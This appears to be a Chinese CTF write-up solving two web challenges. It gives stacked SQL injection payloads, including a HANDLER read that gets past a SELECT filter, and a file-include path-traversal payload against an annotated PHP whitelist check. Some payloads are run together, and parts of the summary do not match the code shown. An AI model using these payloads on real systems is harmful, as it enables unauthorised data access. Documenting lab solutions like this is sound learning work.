
一、Supersqli
打开页面如图所示,初步筛查这应该是一道 SQL 注入题。

确认为 SQL 注入题。
1' or 1=1 #

接下来查询字段数。
字段数为 2。
1' order by 2 #

尝试查询数据库,正常查询发现不行,被过滤了。

但是没有过滤分号,那就可以堆叠注入联合 show。
1';show tables ;#
成功查询到一个特殊的表。

1';show columns from
1919810931114514;#
查询发现此表含 flag,但 select 被过滤,如何查询 flag?

利用 handler 代替 select 查询。
payload: 1';handler
1919810931114514open asa;handleraread next;#
查询该表的数据,成功拿到 flag。

二、Warmup
点开发现有提示 source.php。

访问 source.php 和 hint.php。
是一堆代码,进行代码审计。

访问 hint.php 提示我们 flag 在 fffffllllaaaagggg。

代码审计
<?php highlight_file(__FILE__); //代码高亮
class emmm {
public static function checkFile(&$page) //checkFile 用于检查文件参数是否合法 &$page 表示通过引用传递参数,这样在函数内部对 $page 的修改会影响到函数外部的变量。
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //定义一个白名单数组,里面包含允许包含的文件名(source.php 和 hint.php)
if (! isset($page) || !is_string($page)) { //第一个 if 功能为检查$page 是否存在且为字符串类型如果不是则返回 false
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { ///检查$page 是否存在于白名单中存在则返回 true
return true;
}
$_page = mb_substr( //截取$page 中?之前的部分存在$_page(mb_substr 是字符串截取函数,mb_strpos 是字符串查找函数)
$page, 0, mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { //检查截取后$_page 是否在白名单中存在则返回 true
return true;
}
$_page = urldecode($page); //对$page 进行 url 解码
$_page = mb_substr( //截取?之前的部分存在$_page 中
$_page, 0, mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //检查解码并截取后的$_page 是否在白名单中存在则返回 true
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file'])) //也就是说只有过掉 checkFile 方法才可以包含文件
{
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
经过如上审计我们得知如果想要拿到 flag 就需过掉 checkFile 方法。checkFile 方法有四个 if 判断语句:
- 第一个判断语句就是判断我们传进去的是否不为空且是字符串。
- 第二个判断语句判断我们传的值是否在白名单中。
- 第三个判断截取?之前部分后是否在白名单中。
- 第四个判断语句判断对我们传的值 URL 解码截取后是否在白名单中。
总得来说我们正常包含文件时 /source.php?file=........
但是他第三和第四个判断语句只截取?之前的而 file 则被筛掉导致无法包含。
所以只要我们变换一下顺序即可且第二个到第四个 if 判断只要有一个绕过即可。
Payload: ?file=source.php?../../../../../../ffffllllaaaagggg (绕过第三个 if 判断) Payload: /source.php?file=source.php?../../../../../../ffffllllaaaagggg(这样也可以)
成功拿到 flag。

三、总结
1. Supersqli
漏洞类型:SQL 注入
考察点:绕过过滤和堆叠注入技巧
解题要点:
- 过滤检测:题目对常见的 SQL 注入关键字进行了过滤,如
select,update,delete等。 - 堆叠注入:发现可以使用分号
;进行堆叠注入。 - 绕过方法:
- 使用
prepare和execute预处理语句绕过过滤。 - 或者使用
handler语句代替select进行数据读取。
- 使用
关键 payload:
1';handler
1919810931114514open asa;handleraread first;#
学习收获:
- 堆叠注入的实际应用。
- 预处理语句在 SQL 注入中的使用。
- handler 语句作为 select 的替代方案。
- 字符串拼接绕过关键字过滤的技巧。
2. Warmup
漏洞类型:代码审计与文件包含
解题要点:
- 源码分析:通过查看页面源码发现提示
source.php。 - 文件包含:访问 source.php 获取源代码进行审计。
- 漏洞点:
- 存在文件包含功能,但添加了
../和..\的过滤。 - 使用
checkFile函数进行白名单检查。
- 存在文件包含功能,但添加了
- 绕过方法:
- 利用四层目录结构
../../../../绕过检查。 - 最终 payload 构造为
file=source.php?../../../../../ffffllllaaaagggg。
- 利用四层目录结构
学习收获:
- PHP 代码审计的基本方法。
- 文件包含漏洞的利用技巧。
- 目录遍历的绕过方法。
- 白名单检查机制的绕过思路。
综合对比
| 方面 | Supersqli | Warmup |
|---|---|---|
| 漏洞类型 | SQL 注入 | 文件包含 |
| 主要技巧 | 堆叠注入、预处理语句、handler 语法 | 目录遍历、白名单绕过 |
| 过滤机制 | 关键字过滤 | 路径符号过滤 |
| 解题关键 | 找到未被过滤的替代语法 | 构造足够深的目录结构绕过检查 |
| 难度等级 | 简单 | 简单 |


